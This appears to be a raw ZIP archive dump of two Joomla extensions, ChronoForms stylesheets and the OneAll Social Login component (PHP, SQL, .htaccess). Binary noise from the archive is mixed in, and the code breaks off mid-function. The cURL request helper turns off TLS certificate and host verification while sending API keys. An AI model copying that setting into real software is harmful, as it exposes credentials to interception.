;xnt-[+A2p$ƒ(Oblyc玟?j-)KyE?vٻ'vmbӞwʻI=i57jĐ3sL[r˝)o|ܼ1OD%OxMW/53ǐDgt߾ `# <"5$XY!Vhiq@@t Æ0ʼn(O0(# !;PK@y>\4components/com_chronoforms/css/formwizard/index.htmlnuW+APK@y>\}kR>2components/com_chronoforms/css/formwizard/edit.pngnuW+APNG  IHDR exgAMA7tEXtSoftwareAdobe ImageReadyqe<PLTE7R݌:{vֵs W}䙙ۨ:9_ិ!szdl۸ ޒ0vyh~߭؂Uo´{Ђ~y'ȗIm侣|ޖwQڵ~Dvj7YԓnIؿgJ^ھcW|vL”QnۀŽޥxuԶޥWCg|Їܼ6Aa Ol5UcjTu&aZyǫf\rTbܥvb +tRNS'4 5IDATxAK@Ymm*6@%, GB&+EBC7s@ Fb `|YF 1lt^w;``⧍*]@\8+&BÍGo zgm/"F5V\}{ &t:}k-:@z_0P,BG>`}y]F 󖨶 H:`\0MЪ2IENDB`PK@y>\ь 'components/com_chronoforms/css/ccms.cssnuW+A/* * ChronoCMS (chronocms.com) * Copyright 2010 - chronocms.com * * @license Commercial * Redistributions of files must retain the above copyright notice. */ .clear:after { content:"."; display:block; height:0; clear:both; visibility:hidden; } form p { margin-bottom: 9px;} input, textarea, input[type="file"] {padding: 6px; border: 1px solid #d3d3d3; margin-bottom: 5px; font-size:12px; /*width:200px;*/} select { padding: 3px; border: 1px solid #d3d3d3; min-width: 100px;} .cx_select { min-width: 163px; } label { float: left; width: 150px; line-height: 18px; margin: 6px 0 9px ; font-weight: bold;} fieldset { background-color:#FAFAFA; border:1px solid #EEEEEE; padding:15px; width:auto; } fieldset legend {font-weight:bold; margin-left:-10px; padding:10px; } .ccms_form_element { margin-bottom: 10px; position: relative; padding-bottom: 10px; border-bottom: 1px solid #dddddd; clear: both;} .cfdiv_select select, .cfdiv_text input, .cfdiv_text label { float: left; } .cfdiv_text label { width: 150px; } .small-message, .error-message { line-height: 18px; margin: 4px 0 0 155px; font-size: 11px; display: block; clear: both;} .small-message { color: #999999; font-style: italic; } .error-message { color: red;} .required input { border-color: #cccccc; background-color: #f9f9f9;} input.form-error { background-color: #fff4f4; border-color: #ffd4d4;} .tooltipimg { position: absolute; top: 5px; right: 10px; line-height: 21px; color: #999999; } .tooltipimg a {display: inline-block; font-weight: bold; color: #999999; line-height: 21px; height: 20px; background-color: #eeeeee; width: 20px; text-align: center;} .tooltipimg a:hover { color: white; text-decoration: none;} .cfdiv_checkboxgroup label, .cfdiv_radiogroup label, .cfdiv_checkbox label, .cfdiv_radio label { font-weight: normal; margin-bottom: 5px; } .cfdiv_checkboxgroup label:first-child, .cfdiv_radiogroup label:first-child, .cfdiv_checkbox label:first-child , .cfdiv_radio label:first-child, .cfdiv_checkbox label:first-child, .cfdiv_checkboxgroup label:first-child { font-weight: bold !important; margin-bottom: 9px;} .button { /*background-color: #37a8f0; */ border: 0; padding: 5px 7px; font-size: 11px; color: white; width:auto; text-decoration: none; } .button:hover { /*background-color: #999999;*/ text-decoration: none; } /* input sizes */ .small_input { width: 200px;} .medium_input { width: 350px !important; } .big_input, .title_input { width:475px; float: left !important; } .title_input { padding: 8px 5px; font-size: 18px; margin-bottom: 15px;} /* input types */ input[type="checkbox"], input[type="radio"] { border-color: transparent; margin: 8px 9px 0 0; clear: none; } /* fixes for radio and checkboxes*/ .cfdiv_checkboxgroup label, .cfdiv_radio label { width: auto; margin-right: 25px; } .cfdiv_checkboxgroup label:first-child, .cfdiv_radio label:first-child { width: 150px; margin-right: 0;} .cfdiv_checkboxgroup label, .cfdiv_radio label, .cfdiv_checkboxgroup input, .cfdiv_radio input { float: left; } .label_over label:first-child { float: none !important; } .label_over label:first-child { display: block; width:auto !important;} .label_over .small-message, .label_over .error-message { margin-left: 0;} .radios_over label, .radios_over input { float: left !important; } .radios_over input { clear: left !important; } .half { width: 48.5%; float: left; } .first_half { margin-right: 3%;}PK@y>\)components/com_chronoforms/css/index.htmlnuW+APK@y>\tDhLL-components/com_chronoforms/css/tabs_style.cssnuW+A/* tabs */ .tabs ul{ list-style: none; padding: 0; margin: 0; } .tabs li { display: inline; margin: 0 2px 0 0; } .tabs a { padding: 0 1em; text-decoration: none; color: #fff; background: #aaa; } .tabs a:hover { background: #eaeaea; color: #000; } .tabs .activetab { } .tabs .activetab a { padding-bottom: 2px; font-weight: bold; color: black; color: black; background: #eaeaea; } .tabs-panel { border: 4px solid #eaeaea; background: transparent; /*padding: 1em;*/ margin-bottom:10px; } .tabs-panel-inner { margin: 0; background: transparent; padding: 1em; }PK@y>\}f#@++-components/com_chronoforms/css/frontforms.cssnuW+A/* * ChronoCMS (chronocms.com) * Copyright 2010 - chronocms.com * license : Commercial * Redistributions of files must retain the above copyright notice. */ /*================ FORMS STYLES =================*/ .ccms_form_element p { margin-bottom: 9px;} .ccms_form_element input, textarea, input[type="file"] {padding: 6px !important; border: 1px solid #d3d3d3; margin-bottom: 5px; } .ccms_form_element select { padding: 3px; border: 1px solid #d3d3d3; min-width: 100px;} /*.ccms_form_element select { min-width: 163px; }*/ .ccms_form_element label { float: left; width: 150px; line-height: 18px; margin: 6px 0 9px ; font-weight: bold;} .ccms_form_element fieldset { background-color:#FAFAFA; border:1px solid #EEEEEE; padding:15px; width:auto; } .ccms_form_element fieldset legend {font-weight:bold; margin-left:-10px; padding:10px; } .ccms_form_element { margin-bottom: 10px; position: relative; padding: 10px 0px 10px 5px; /*border-bottom: 1px solid #dddddd;*/ clear: both;} /*.cfdiv_select select, .cfdiv_text input, .cfdiv_text label { float: left; }*/ .cfdiv_text label { width: 150px; } .small-message, .error-message { line-height: 18px; margin: 4px 0 0 155px; font-size: 11px; display: block; clear: both;} .small-message { color: #999999; font-style: italic; } .error-message { color: red;} .required input { border-color: #cccccc; background-color: #f9f9f9;} .form-error { background-color: #fff4f4; border: 1px solid #ffd4d4;} .tooltipimg { position: absolute; top: 5px; right: 10px; line-height: 21px; color: #999999; } .tooltipimg a {display: inline-block; font-weight: bold; color: #999999; line-height: 21px; height: 20px; background-color: #eeeeee; width: 20px; text-align: center;} .tooltipimg a:hover { color: white; text-decoration: none;} .cfdiv_checkboxgroup label, .cfdiv_radiogroup label, .cfdiv_checkbox label, .cfdiv_radio label { font-weight: normal; /*margin-bottom: 5px;*/margin: 6px 0 9px; } .full_label {width: 70% !important;} .cfdiv_checkboxgroup label:first-child, .cfdiv_radiogroup label:first-child, .cfdiv_checkbox label:first-child , .cfdiv_radio label:first-child, .cfdiv_checkbox label:first-child, .cfdiv_checkboxgroup label:first-child { font-weight: bold !important; margin-bottom: 9px;} .ccms_form_element .button { background-color: #37a8f0; border: 0; padding: 5px 7px; font-size: 11px; color: white; text-decoration: none; } .ccms_form_element .button:hover { background-color: #999999; text-decoration: none; } /* input sizes */ .small_input { width: 200px !important;} .medium_input { width: 350px !important; } .big_input, .title_input { width:475px !important; } .title_input { padding: 8px 5px; font-size: 18px; margin-bottom: 15px; float: left !important;} /* input types */ .ccms_form_element input[type="checkbox"], /*.ccms_form_element input[type="radio"] { border-color: transparent; margin: 8px 9px 0 0; clear: none; }*/ .ccms_form_element input[type="radio"] { padding: 0 0 0 0 !important; background-color: transparent; border-color: transparent; margin: 10px 5px 10px 5px; clear: none; } /* fixes for radio and checkboxes*/ .cfdiv_checkboxgroup label, .cfdiv_radio label { width: auto; margin-right: 25px; } .cfdiv_checkboxgroup label:first-child, .cfdiv_radio label:first-child { width: 150px; margin-right: 0;} .cfdiv_checkboxgroup label, .cfdiv_radio label, .cfdiv_checkboxgroup input, .cfdiv_radio input { float: left; } .label_right{float: left; margin-left: 150px !important;} .label_over label:first-child { float: none !important; } .label_over label:first-child { display: block; width:95% !important; } .label_over .small-message, .label_over .error-message { margin-left: 0;} .radios_over label, .radios_over input { float: left !important; } .radios_over input { clear: left !important; } /* other fixes */ .fc-tbx{ z-index:9999; } .validation_label{ display:block; width:100%; } .chrono_captcha_input{ vertical-align:top; } /*.clear{ clear:both; visibility:hidden; }*/ .clear:after { content:"."; display:block; height:0; clear:both; visibility:hidden; } .multiline_start{ /*clear:none !important;*/ float: left !important;} .multiline_add{ clear:none !important; float: left !important; padding-left: 10px !important; }PK@y>\̂nn-components/com_chronoforms/css/formwizard.cssnuW+A/* * ChronoCMS (chronocms.com) * Copyright 2010 - chronocms.com * * @license Commercial * Redistributions of files must retain the above copyright notice. */ /* FORM WIZARD STYLES */ div.m {background-color: white;} .dragable { border: 1px solid #eeeeee; z-index: 1000; padding: 5px 3px; background-color: #FFEDD4; background-image: none; width: 212px; /*margin: 9px 0;*/ font-weight: bold; } .toggler { background-color: #f5f5f5; padding: 2px 3px; display: block; border: 1px solid #f0f0f0; font-size:12px; font-weight: bold;} .elements_list { margin-bottom: 2px; padding-bottom: 5px;} .elements_list .dragable {/*width: 160px; margin: 9px 0;*/ text-indent:5px; cursor: move; border: 1px solid #eeeeee; padding: 4px 3px; background: url(formwizard/drag.png) no-repeat right center; background-color:#FFEDD4; font-weight: bold; } .elements_list .dragable:hover { border: 2px solid #000; background-color: #9BC4F2; padding: 4px 2px;} .droppable { background-color: #f4f4f4; border-top: 1px solid #dedede; border-bottom: 1px solid #dedede; padding: 10px 0 1px; min-height: 150px;} .droppable input, .droppable label { float: left; width: 110px; padding-left: 6px;} .droppable input { width: 150px; } .droppable .element_tools_visible { position: absolute; text-align: right; right: 0px; top: 0px; width: 55px; background-color: #ddd;} .wizard_element { position: relative; padding: 11px 5px 7px; background-color: #fbfbfb; border: 1px solid #dddddd; margin:0 10px 10px 10px;} .element_config { padding: 10px 0 0 6px; } .temp_div_container { display:block; clear: left; padding-left: 30px; margin-left: 85px;} .temp_div_container label { width: 70px; } .temp_div_container input[type="checkbox"] { clear: left; } #droppable_area_elements input[type="checkbox"], #droppable_area_elements input[type="radio"] { width: 30px; padding-left: 0; margin-right: 0; } #droppable_area_elements input[type="radio"] { clear: left; } .input_checkbox_group_element_view label.text_label, .input_radio_element_view label.text_label { position: absolute; top: 11px; left: 3px; } .dragable { position: relative; top: 0px; left: 0px; } .dragable_action { position: relative; top: 0px; left: 0px; } .droppable { min-width:100%; } .element_code { display:none; } .element_config { display:none; } .element_tools{ display:none; } /*.cx_form_elements{ font-family: Tahoma; font-size:12px; }*/ .action_label{ display: block; float: none !important; width : 85% !important; margin-top: 0px !important; } .form_event{ position: relative; padding: 11px 5px 7px; background-color: #fbfbfb; border: 1px solid #dddddd; margin:0 10px 10px 10px; } .main_event{ min-height:100px; } .form_event_label{ display: block; float: none !important; width: 80% !important; margin: 0px; } .form_event .clear{ height: 0px; } .form_event .wizard_element{ padding-top: 1px; } .good_event{ background-color: #ccff89; } .bad_event{ background-color: #ffaaaa; } .edit_element{ cursor : pointer; } .delete_element{ cursor : pointer; } .sort_element{ cursor : n-resize; } .fixedSaveDiv{ position: absolute;/*relative;*/ width: 570px; background-color: white; text-align: right; z-index: 99999; } #field_settings { min-height: 500px !important; } #action_settings { min-height: 500px !important; } #actions_accordion { /*min-height: 400px !important; max-height: 400px !important; overflow: scroll;*/ } .actions_accordion_pane{ /*overflow: auto !important; max-height: 300px;*/ } .elements_accordion_pane{ /*overflow: auto !important; max-height: 300px;*/ } #sbox-btn-apply { position: absolute; width: 64px; height: 24px; right: -67px; top: 25px; background: url(../images/confirm.png) no-repeat scroll left center white; text-align: right; border: none; color: black; text-decoration: none; line-height: 22px; padding: 3px 3px 3px 0px; font-weight: bold; } .sbox-window-ie6 #sbox-btn-apply { background-image: url(../images/apply.png); } #EventsOperations{ padding: 0px 5px; margin: 0px 10px; height: 30px; cursor: pointer; } .add_event{ float: left; margin: 3px 0px; } .fullscreen{ top:0; left:0; position: absolute; z-index:999; width:100%; height:100%; } .normalscreen{ top:0; left:0; position: relative; z-index:999; width:100%; height:100%; } .floating-tip { background-color: black; padding: 5px 15px; color: #dddddd; font-weight: bold; z-index:1999; font-size: 11px; -moz-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; } .floating-tip-error { background-color: #b5181f; padding: 5px 15px; color: #fff; font-weight: bold; z-index:1999; font-size: 11px; -moz-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; } .tooltip_container{ max-width: 300px; padding:0; margin:0; } .tooltip-header{ font-size:12px; font-weight:bold; color: #2e8cd9; } .easy_div { background-color: #F4F4F4; } .preview_element{ margin-left:20px; }PK@y>\#o,,+components/com_sociallogin/views/index.htmlnuW+APK@y>\)6components/com_sociallogin/views/sociallogin/.htaccessnuW+A Order allow,deny Deny from all PK@y>\);components/com_sociallogin/views/sociallogin/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\_00=components/com_sociallogin/views/sociallogin/tmpl/default.phpnuW+A
      PK@y>\://<components/com_sociallogin/views/sociallogin/tmpl/index.htmlnuW+A PK@y>\://7components/com_sociallogin/views/sociallogin/index.htmlnuW+A PK@y>\U2 2 :components/com_sociallogin/views/sociallogin/view.html.phpnuW+AaddStyleSheet ('components/com_sociallogin/assets/css/sociallogin.css'); $document->addScript ('components/com_sociallogin/assets/js/jquery.js'); $document->addScript ('components/com_sociallogin/assets/js/sociallogin.js'); //Read settings $model = $this->getModel (); $this->settings = $model->getSettings (); //Read providers $this->providers = $social_login_providers; //Build page $this->form = $this->get ('Form'); $this->addToolbar (); // Display the template parent::display ($tpl); } /** * SocialLogin - Add Toolbar * @return void */ protected function addToolbar () { JRequest::setVar ('hidemainmenu', false); JToolBarHelper::title (JText::_ ('Social Login Configuration'), 'weblinks.png'); JToolBarHelper::apply ('apply'); } }PK@y>\)*components/com_sociallogin/views/.htaccessnuW+A Order allow,deny Deny from all PK@y>\://-components/com_sociallogin/install/index.htmlnuW+A PK@y>\Ą9components/com_sociallogin/install/install.mysql.utf8.sqlnuW+ACREATE TABLE IF NOT EXISTS `#__oasl_settings` ( `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, `setting` varchar(255) NOT NULL, `value` varchar(255) NOT NULL, PRIMARY KEY (`id`), UNIQUE KEY `setting` (`setting`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8; CREATE TABLE IF NOT EXISTS `#__oasl_user_mapping` ( `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, `user_id` int(11) NOT NULL, `token` varchar(255) NOT NULL, PRIMARY KEY (`id`), KEY `user_id` (`user_id`), UNIQUE KEY `token` (`token`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8; INSERT IGNORE INTO `#__oasl_settings` SET `setting` = 'api_connection_handler', `value` = 'curl'; INSERT IGNORE INTO `#__oasl_settings` SET `setting` = 'link_verified_accounts', `value` = '1'; INSERT IGNORE INTO `#__oasl_settings` SET `setting` = 'mod_caption', `value` = 'Sign in with a social network:'; INSERT IGNORE INTO `#__oasl_settings` SET `setting` = 'providers', `value` = 'a:4:{i:0;s:8:"facebook";i:1;s:7:"twitter";i:2;s:6:"google";i:3;s:8:"linkedin";}'; PK@y>\G۽00.components/com_sociallogin/install/install.phpnuW+Amanifest; //Installed modules $installed = array (); //Parse manifest and install modules if ($manifest instanceof JXMLElement AND property_exists ($manifest, 'modules')) { //Check of modules child if ($manifest->modules instanceof JXMLElement) { //Lopp trough modules foreach ($manifest->modules->children () AS $module) { //Setup module data $mod_data = array (); foreach ($module->attributes () as $key => $value) { $mod_data [$key] = strval ($value); } $mod_data ['client'] = JApplicationHelper::getClientInfo ($mod_data ['client'], true); //Set the installation path $this->parent->setPath ('extension_root', $mod_data ['client']->path . DS . 'modules' . DS . $mod_data ['module']); //If the directory exists, we assume that the module is already installed or another module is using that directory. if (file_exists ($this->parent->getPath ('extension_root'))) { if (!$this->parent->getOverwrite ()) { $this->parent->abort (JText::_ ('Module') . ' ' . JText::_ ('Install') . ': ' . JText::_ ('Another module is already using the directory') . ': "' . $this->parent->getPath ('extension_root') . '"'); return false; } } //If the module directory does not exist, lets create it $mod_created = false; if (!file_exists ($this->parent->getPath ('extension_root'))) { if (!($mod_created = JFolder::create ($this->parent->getPath ('extension_root')))) { $this->parent->abort (JText::_ ('Module') . ' ' . JText::_ ('Install') . ': ' . JText::_ ('Failed to create directory') . ': "' . $this->parent->getPath ('extension_root') . '"'); return false; } } //Since we created the module directory and will want to remove it if we have to roll back the installation, lets add it to the installation step stack if ($mod_created) { $this->parent->pushStep (array ( 'type' => 'folder', 'path' => $this->parent->getPath ('extension_root') )); } //Copy all necessary files if ($this->parent->parseFiles ($module->files, -1) === false) { // Install failed, roll back changes $this->parent->abort (); return false; } //Build Manifest Cache $mod_data ['manifest_cache'] = json_encode (JApplicationHelper::parseXMLInstallFile ((string) $mod_data ['client']->path . DS . 'modules' . DS . $mod_data ['module'] . DS . $mod_data ['module'] . '.xml')); //If extension already installed do not create a new instance $query = "SELECT `extension_id` FROM `#__extensions` WHERE type='module' AND element = " . $db->Quote ($mod_data ['module']); $db->setQuery ($query); if (!$db->Query ()) { // Install failed, roll back changes $this->parent->abort (JText::_ ('Extension') . ' ' . JText::_ ('Install') . ': ' . $db->stderr (true)); return false; } $extension_id = $db->loadResult (); //Does not exist if (!$extension_id) { //Extension Data $data = array (); $data ['name'] = $mod_data ['title']; $data ['type'] = 'module'; $data ['element'] = $mod_data ['module']; $data ['folder'] = ''; $data ['client_id'] = (int) $mod_data ['client']->id; $data ['enabled'] = 1; $data ['access'] = 1; $data ['protected'] = 0; $data ['manifest_cache'] = $mod_data ['manifest_cache']; $data ['params'] = '{}'; //Create Extension $table = JTable::getInstance ('extension'); if (!$table->bind ($data)) { // Install failed, roll back changes $this->parent->abort (JText::_ ('Extension') . ' ' . JText::_ ('Install') . ': ' . JText::_ ('table->bind throws error')); return false; } if (!$table->check ($data)) { // Install failed, roll back changes $this->parent->abort (JText::_ ('Extension') . ' ' . JText::_ ('Install') . ': ' . JText::_ ('table->check throws error')); return false; } if (!$table->store ($data)) { // Install failed, roll back changes $this->parent->abort (JText::_ ('Extension') . ' ' . JText::_ ('Install') . ': ' . JText::_ ('table->store throws error')); return false; } // Add it to the installation step stack so that if we have to rollback the changes we can undo it. $this->parent->pushStep (array ( 'type' => 'extension', 'extension_id' => $table->extension_id )); } // If module already installed do not create a new instance $query = 'SELECT `id` FROM `#__modules` WHERE module = ' . $db->Quote ($mod_data ['module']); $db->setQuery ($query); if (!$db->Query ()) { // Install failed, roll back changes $this->parent->abort (JText::_ ('Module') . ' ' . JText::_ ('Install') . ': ' . $db->stderr (true)); return false; } $mod_id = $db->loadResult (); //Does not exist if (!$mod_id) { //Module Data $data = array (); $data ['title'] = $mod_data ['title']; $data ['ordering'] = $mod_data ['order']; $data ['position'] = $mod_data ['position']; $data ['showtitle'] = (!empty ($mod_data ['showtitle']) ? 1 : 0); $data ['published'] = 1; $data ['module'] = $mod_data ['module']; $data ['access'] = 1; $data ['params'] = ''; $data ['client_id'] = $mod_data ['client']->id; //Create Module $table = JTable::getInstance ('module'); if (!$table->bind ($data)) { // Install failed, roll back changes $this->parent->abort (JText::_ ('Module') . ' ' . JText::_ ('Install') . ': ' . JText::_ ('table->bind throws error')); return false; } if (!$table->check ($data)) { // Install failed, roll back changes $this->parent->abort (JText::_ ('Module') . ' ' . JText::_ ('Install') . ': ' . JText::_ ('table->check throws error')); return false; } if (!$table->store ($data)) { // Install failed, roll back changes $this->parent->abort (JText::_ ('Module') . ' ' . JText::_ ('Install') . ': ' . JText::_ ('table->store throws error')); return false; } //User below $mod_id = $table->id; } // Make visible everywhere if site module if ((int) $mod_data ['client']->id == 0) { $query = 'REPLACE INTO `#__modules_menu` (moduleid,menuid) values (' . $db->Quote ($mod_id) . ',0)'; $db->setQuery ($query); if (!$db->query ()) { // Install failed, roll back changes $this->parent->abort (JText::_ ('Module') . ' ' . JText::_ ('Install') . ': ' . $db->stderr (true)); return false; } } //Installed $installed [] = array ( 'type' => 'module', 'title' => $mod_data ['module'] ); } } } //Parse manifest and install plugins if ($manifest instanceof JXMLElement AND property_exists ($manifest, 'plugins')) { //Check for plugins child if ($manifest->plugins instanceof JXMLElement) { //Lopp trough modules foreach ($manifest->plugins->children () AS $plugin) { //Setup plugin data $plg_data = array (); foreach ($plugin->attributes () as $key => $value) { $plg_data [$key] = strval ($value); } // Set the installation path $this->parent->setPath ('extension_root', JPATH_ROOT . DS . 'plugins' . DS . $plg_data ['group'] . DS . $plg_data ['plugin']); // If the plugin directory does not exist, lets create it $created = false; if (!file_exists ($this->parent->getPath ('extension_root'))) { if (!$created = JFolder::create ($this->parent->getPath ('extension_root'))) { $this->parent->abort (JText::_ ('Plugin') . ' ' . JText::_ ('Install') . ': ' . JText::_ ('Failed to create directory') . ': "' . $this->parent->getPath ('extension_root') . '"'); return false; } } //Remove it if we have to roll back the installation, lets add it to the installation step stack if ($created) { $this->parent->pushStep (array ( 'type' => 'folder', 'path' => $this->parent->getPath ('extension_root') )); } // Copy all necessary files if ($this->parent->parseFiles ($plugin->files, -1) === false) { // Install failed, roll back changes $this->parent->abort (); return false; } //Build Manifest Cache $plg_data ['manifest_cache'] = json_encode (JApplicationHelper::parseXMLInstallFile (JPATH_ROOT . DS . 'plugins' . DS . $plg_data ['group'] . DS . $plg_data ['plugin'] . DS . $plg_data ['plugin'] . '.xml')); // Check to see if a plugin by the same name is already installed $query = 'SELECT `extension_id` FROM `#__extensions` WHERE folder = ' . $db->Quote ($plg_data ['group']) . ' AND type=\'plugin\' AND element = ' . $db->Quote ($plg_data ['plugin']); $db->setQuery ($query); if (!$db->Query ()) { // Install failed, roll back changes $this->parent->abort (JText::_ ('Plugin') . ' ' . JText::_ ('Install') . ': ' . $db->stderr (true)); return false; } $plugin_id = $db->loadResult (); // Was there a plugin already installed with the same name? if (empty ($plugin_id)) { //Extension Data $data = array (); $data ['name'] = $plg_data ['title']; $data ['type'] = 'plugin'; $data ['element'] = $plg_data ['plugin']; $data ['folder'] = $plg_data ['group']; $data ['client_id'] = 0; $data ['enabled'] = 1; $data ['access'] = 1; $data ['protected'] = 0; $data ['manifest_cache'] = $plg_data ['manifest_cache']; $data ['params'] = '{}'; //Create Extension $table = JTable::getInstance ('extension'); if (!$table->bind ($data)) { // Install failed, roll back changes $this->parent->abort (JText::_ ('Plugin') . ' ' . JText::_ ('Install') . ': ' . JText::_ ('table->bind throws error')); return false; } if (!$table->check ($data)) { // Install failed, roll back changes $this->parent->abort (JText::_ ('Plugin') . ' ' . JText::_ ('Install') . ': ' . JText::_ ('table->check throws error')); return false; } if (!$table->store ($data)) { // Install failed, roll back changes $this->parent->abort (JText::_ ('Plugin') . ' ' . JText::_ ('Install') . ': ' . JText::_ ('table->store throws error')); return false; } // Add it to the installation step stack so that if we have to rollback the changes we can undo it. $this->parent->pushStep (array ( 'type' => 'extension', 'extension_id' => $table->extension_id )); } //Installed $installed [] = array ( 'type' => 'plugin', 'title' => $plg_data ['plugin'] ); } } } //Success! if (count ($installed) > 0) { ?>

      Thank you very much for having installed Social Login!
      In order to enable the component, it has to be configured first.

      Feel free to contact us if you need any assistance. Thank you!

      \aYH kk0components/com_sociallogin/install/uninstall.phpnuW+A\lbVV;components/com_sociallogin/install/uninstall.mysql.utf8.sqlnuW+ADROP TABLE IF EXISTS `#__oasl_settings`; DROP TABLE IF EXISTS `#__oasl_user_mapping`;PK@y>\),components/com_sociallogin/install/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ ||*components/com_sociallogin/sociallogin.phpnuW+Aexecute (JRequest::getCmd ('task', 'display')); // Redirect if set by the controller $controller->redirect (); PK@y>\ZdC)C))components/com_sociallogin/controller.phpnuW+AgetModel (); $model->saveSettings (); $this->setRedirect (JRoute::_ ('index.php?option=com_sociallogin&view=sociallogin&layout=default', false)); } /** * Autoderect API Connection Handler */ public function autodetect_api_connection_handler () { //CURL Works if ($this->is_curl_available () === true) { echo 'success_autodetect_api_curl'; die (); } //CURL does not work else { // FSOCKOPEN works if ($this->is_fsockopen_available () == true) { echo 'success_autodetect_api_fsockopen'; die (); } } //No working handler found echo 'error_autodetect_api_no_handler'; die (); } /** * Check API Settings */ public function check_api_settings () { $model = $this->getModel (); //Check if all fields have been filled out if (empty ($_POST ['api_subdomain']) OR empty ($_POST ['api_key']) OR empty ($_POST ['api_secret'])) { echo 'error_not_all_fields_filled_out'; $model->setSetting ('api_settings_verified', 0); die (); } //Check the handler $api_connection_handler = ((!empty ($_POST ['api_connection_handler']) AND $_POST ['api_connection_handler'] == 'fsockopen') ? 'fsockopen' : 'curl'); //FSOCKOPEN if ($api_connection_handler == 'fsockopen') { if ($this->is_fsockopen_available() !== true) { echo 'error_selected_handler_faulty'; $model->setSetting ('api_settings_verified', 0); die(); } } //CURL else { if ($this->is_curl_available() !== true) { echo 'error_selected_handler_faulty'; $model->setSetting ('api_settings_verified', 0); die(); } } //Parameters $api_subdomain = trim (strtolower ($_POST ['api_subdomain'])); $api_key = $_POST ['api_key']; $api_secret = $_POST ['api_secret']; //Full domain entered if (preg_match ("/([a-z0-9\-]+)\.api\.oneall\.com/i", $api_subdomain, $matches)) { $api_subdomain = $matches [1]; } //Check subdomain format if (!preg_match ("/^[a-z0-9\-]+$/i", $api_subdomain)) { echo 'error_subdomain_wrong_syntax'; $model->setSetting ('api_settings_verified', 0); die (); } //Domain $api_domain = $api_subdomain . '.api.oneall.com'; //Resource URI $api_resource_url = 'https://' . $api_domain . '/tools/ping.json'; //Get connection details $result = $this->make_api_request ($api_connection_handler, $api_resource_url, array ('api_key' => $api_key, 'api_secret' => $api_secret), 15); //Parse result if (is_object ($result) AND property_exists ($result, 'http_code') AND property_exists ($result, 'http_data')) { switch ($result->http_code) { //Success case 200: echo 'success'; $model->setSetting ('api_settings_verified', 1); die (); break; //Authentication Error case 401: echo 'error_authentication_credentials_wrong'; $model->setSetting ('api_settings_verified', 0); die (); break; //Wrong Subdomain case 404: echo 'error_subdomain_wrong'; $model->setSetting ('api_settings_verified', 0); die (); break; //Other error default: echo 'error_communication'; $model->setSetting ('api_settings_verified', 0); die (); break; } } else { echo 'error_communication'; $model->setSetting ('api_settings_verified', 0); die (); } die (); } /** * Send an API request by using the given handler */ function make_api_request ($handler, $url, $options = array (), $timeout = 15) { //FSOCKOPEN if ($handler == 'fsockopen') { return $this->make_fsockopen_request($url, $options, $timeout); } //CURL else { return $this->make_curl_request($url, $options, $timeout); } } ///////////////////////////////////////////////////////////////////////////// // CURL ///////////////////////////////////////////////////////////////////////////// /** * Check if CURL can be used */ public function is_curl_available () { if (in_array ('curl', get_loaded_extensions ()) AND function_exists('curl_exec')) { $result = $this->make_curl_request ('https://www.oneall.com/ping.html'); if (is_object ($result) AND property_exists ($result, 'http_code') AND $result->http_code == 200) { if (property_exists ($result, 'http_data')) { if (strtolower ($result->http_data) == 'ok') { return true; } } } } return false; } /** * Send a CURL request */ public function make_curl_request ($url, $options = array (), $timeout = 15) { //Store the result $result = new stdClass (); //Send request $curl = curl_init (); curl_setopt ($curl, CURLOPT_URL, $url); curl_setopt ($curl, CURLOPT_HEADER, 0); curl_setopt ($curl, CURLOPT_TIMEOUT, $timeout); curl_setopt ($curl, CURLOPT_VERBOSE, 0); curl_setopt ($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($curl, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt ($curl, CURLOPT_SSL_VERIFYHOST, 0); // BASIC AUTH? if (isset ($options ['api_key']) AND isset ($options ['api_secret'])) { curl_setopt ($curl, CURLOPT_USERPWD, $options ['api_key'] . ":" . $options ['api_secret']); } //Make request if (($http_data = curl_exec ($curl)) !== false) { $result->http_code = curl_getinfo ($curl, CURLINFO_HTTP_CODE); $result->http_data = $http_data; $result->http_error = null; } else { $result->http_code = -1; $result->http_data = null; $result->http_error = curl_error ($curl); } //Done return $result; } ///////////////////////////////////////////////////////////////////////////// // FSOCKOPEN ///////////////////////////////////////////////////////////////////////////// /** * Check if fsockopen can be used */ public function is_fsockopen_available () { $result = $this->make_fsockopen_request ('https://www.oneall.com/ping.html'); if (is_object ($result) AND property_exists ($result, 'http_code') AND $result->http_code == 200) { if (property_exists ($result, 'http_data')) { if (strtolower ($result->http_data) == 'ok') { return true; } } } return false; } /** * Send a FSOCKOPEN request */ public function make_fsockopen_request ($url, $options = array (), $timeout = 15) { //Store the result $result = new stdClass (); //Make that this is a valid URL if (($uri = parse_url ($url)) == false) { $result->http_code = -1; $result->http_data = null; $result->http_error = 'invalid_uri'; return $result; } //Make sure we can handle the schema switch ($uri ['scheme']) { case 'http': $port = (isset ($uri ['port']) ? $uri ['port'] : 80); $host = ($uri ['host'] . ($port != 80 ? ':' . $port : '')); $fp = @fsockopen ($uri ['host'], $port, $errno, $errstr, $timeout); break; case 'https': $port = (isset ($uri ['port']) ? $uri ['port'] : 443); $host = ($uri ['host'] . ($port != 443 ? ':' . $port : '')); $fp = @fsockopen ('ssl://' . $uri ['host'], $port, $errno, $errstr, $timeout); break; default: $result->http_code = -1; $result->http_data = null; $result->http_error = 'invalid_schema'; return $result; break; } //Make sure the socket opened properly if (!$fp) { $result->http_code = -$errno; $result->http_data = null; $result->http_error = trim ($errstr); return $result; } //Construct the path to act on $path = (isset ($uri ['path']) ? $uri ['path'] : '/'); if (isset ($uri ['query'])) { $path .= '?' . $uri ['query']; } //Create HTTP request $defaults = array ( 'Host' => "Host: $host", 'User-Agent' => 'User-Agent: OneAllSocialLogin (+http://www.oneall.com/)', ); // BASIC AUTH? if (isset ($options ['api_key']) AND isset ($options ['api_secret'])) { $defaults ['Authorization'] = 'Authorization: Basic ' . base64_encode ($options ['api_key'] . ":" . $options ['api_secret']); } //Build and send request $request = 'GET ' . $path . " HTTP/1.0\r\n"; $request .= implode ("\r\n", $defaults); $request .= "\r\n\r\n"; fwrite ($fp, $request); //Fetch response $response = ''; while (!feof ($fp)) { $response .= fread 